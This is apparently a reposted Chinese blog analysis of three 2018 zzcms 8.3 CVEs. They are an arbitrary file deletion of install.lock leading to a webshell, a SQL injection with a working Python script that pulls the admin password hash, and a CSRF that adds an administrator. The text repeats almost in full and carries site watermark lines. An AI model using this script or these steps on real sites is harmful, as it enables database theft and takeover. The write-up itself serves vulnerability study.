zzcms 8.3 最新CVE漏洞分析
上次我们分析了一下zzcms 8.2版本的一些漏洞,但是很快8.3版本就推出更新了,但是在更新不久,就有新的漏洞爆了出来,那就跟随大师傅们的脚步学习一下。有关8.2版本的分析在我之前发的文章。
zzcms 的全局过滤
首先系统也使用了伪全局变量的设置,我们找到了关键的代码:/inc/stopsqlin.php
可以看到所有的代码在默认传进来的时候,会被addslashes转义,所以如果有单引号包围是不存在sql注入的,但是这里也容易出现问题,如果是数字型没有严密验证,或者是表名等等位置,不需要单引号闭合的位置都是很危险的,上一篇的很多的问题就是这里疏忽产生的。
CVE-2018-13056
简单看一下漏洞说明,又是一个任意文件删除漏洞,我们在之前的文章总结中就说过了整个系统在文件处理上是很明显有问题的,那我们就来分析一下这次的问题:漏洞点出现在 /user/del.php 的55行到64行
看到是从数据库中取出的img字段,然后直接判断了是不是默认值,然后检查文件存在,最后是删除,这其中并没有涉及到文件合法性检查。那我们就可以去找一下这个字段是怎么进入数据库的:
首先找到表名,是zzcms_main表,然后找一下insert或者update操作,然后我们在/user/zssave.php中发现了有关操作。
然后查看是否经过了过滤,因为经过了伪全局过滤,这里的$img并没有经过任何有效过滤。
所以向数据库中插入污点数据是很简单的,只要在发布招商信息的时候,抓包,修改掉img的数据即可,这里我们测试/install/install.lock:
然后就可以到/user/del.php中去删除文件,这样就能触发删除操作。但是这里有一个问题,就是删除的时候需要知道这一条记录在数据库中的id编号,可以采用爆破的方法来得到。
发包以后,我们刷新页面就可以发现,安装的锁文件已经被成功删除:
然后就可以配合之前的漏洞,任意文件写入拿到webshell。
CVE-2018-14961
一个前台的sql注入漏洞,发现又是使用了stripfxg这个函数解除了自己的过滤,但是其实这里即使没有引号,也是可以直接注入的,下面详细分析一下:代码出现问题是在:/dl/dl_sendmail.php 的 42到45行简单整理一下逻辑就是:
所以很简单,也没有什么逻辑,可以直接注入,测试脚本如下:
#!/usr/bin/env python
#Author:Sublime
#coding:utf-8
import requests as req
url = "http://115.159.122.222:8080/dl/dl_sendmail.php"
cookies = {'UserName':'test','PassWord':'81dc9bdb52d04dc20036dbd8313ed055'}
data = { 'sql':'select email from zzcms_dl where id=-1 union select pass from zzcms_admin #'}
q = req.post(url,data,cookies=cookies,allow_redirects=False)
print q.status_code
print q.content
测试结果为:
可以成功注入出管理员的密码hash
CVE-2018-14963
csrf漏洞,这个问题也是从上个版本就存在的问题,就是整个管理员后台的,所有表单都是没有设置csrf的token的,所以只要涉及到敏感操作的表单,都可以使用csrf来攻击,达成很多攻击利用。这里的攻击是产生在了/admin/adminadd.php的添加管理员操作,构造的表单如下:
构造好了payload以后,放到vps上,然后诱导管理员点击恶意链接,即可成功添加管理员。未添加管理员之前:
上次我们分析了一下zzcms 8.2版本的一些漏洞,但是很快8.3版本就推出更新了,但是在更新不久,就有新的漏洞爆了出来,那就跟随大师傅们的脚步学习一下。有关8.2版本的分析在我之前发的文章。
zzcms 的全局过滤
首先系统也使用了伪全局变量的设置,我们找到了关键的代码:/inc/stopsqlin.php
可以看到所有的代码在默认传进来的时候,会被addslashes转义,所以如果有单引号包围是不存在sql注入的,但是这里也容易出现问题,如果是数字型没有严密验证,或者是表名等等位置,不需要单引号闭合的位置都是很危险的,上一篇的很多的问题就是这里疏忽产生的。
CVE-2018-13056
简单看一下漏洞说明,又是一个任意文件删除漏洞,我们在之前的文章总结中就说过了整个系统在文件处理上是很明显有问题的,那我们就来分析一下这次的问题:漏洞点出现在 /user/del.php 的55行到64行 www.wnhack.com
看到是从数据库中取出的img字段,然后直接判断了是不是默认值,然后检查文件存在,最后是删除,这其中并没有涉及到文件合法性检查。那我们就可以去找一下这个字段是怎么进入数据库的:
首先找到表名,是zzcms_main表,然后找一下insert或者update操作,然后我们在/user/zssave.php中发现了有关操作。
然后查看是否经过了过滤,因为经过了伪全局过滤,这里的$img并没有经过任何有效过滤。
无奈人生安全网
所以向数据库中插入污点数据是很简单的,只要在发布招商信息的时候,抓包,修改掉img的数据即可,这里我们测试/install/install.lock:
然后就可以到/user/del.php中去删除文件,这样就能触发删除操作。但是这里有一个问题,就是删除的时候需要知道这一条记录在数据库中的id编号,可以采用爆破的方法来得到。
发包以后,我们刷新页面就可以发现,安装的锁文件已经被成功删除:
然后就可以配合之前的漏洞,任意文件写入拿到webshell。
CVE-2018-14961
一个前台的sql注入漏洞,发现又是使用了stripfxg这个函数解除了自己的过滤,但是其实这里即使没有引号,也是可以直接注入的,下面详细分析一下:代码出现问题是在:/dl/dl_sendmail.php 的 42到45行简单整理一下逻辑就是:
所以很简单,也没有什么逻辑,可以直接注入,测试脚本如下:
#!/usr/bin/env python
#Author:Sublime
#coding:utf-8
import requests as req
url = "http://115.159.122.222:8080/dl/dl_sendmail.php"
cookies = {'UserName':'test','PassWord':'81dc9bdb52d04dc20036dbd8313ed055'}
data = { 'sql':'select email from zzcms_dl where id=-1 union select pass from zzcms_admin #'}
q = req.post(url,data,cookies=cookies,allow_redirects=False)
print q.status_code
print q.content
测试结果为:
可以成功注入出管理员的密码hash
CVE-2018-14963
csrf漏洞,这个问题也是从上个版本就存在的问题,就是整个管理员后台的,所有表单都是没有设置csrf的token的,所以只要涉及到敏感操作的表单,都可以使用csrf来攻击,达成很多攻击利用。这里的攻击是产生在了/admin/adminadd.php的添加管理员操作,构造的表单如下:
本文来自无奈人生安全网
构造好了payload以后,放到vps上,然后诱导管理员点击恶意链接,即可成功添加管理员。未添加管理员之前:
www.wnhack.com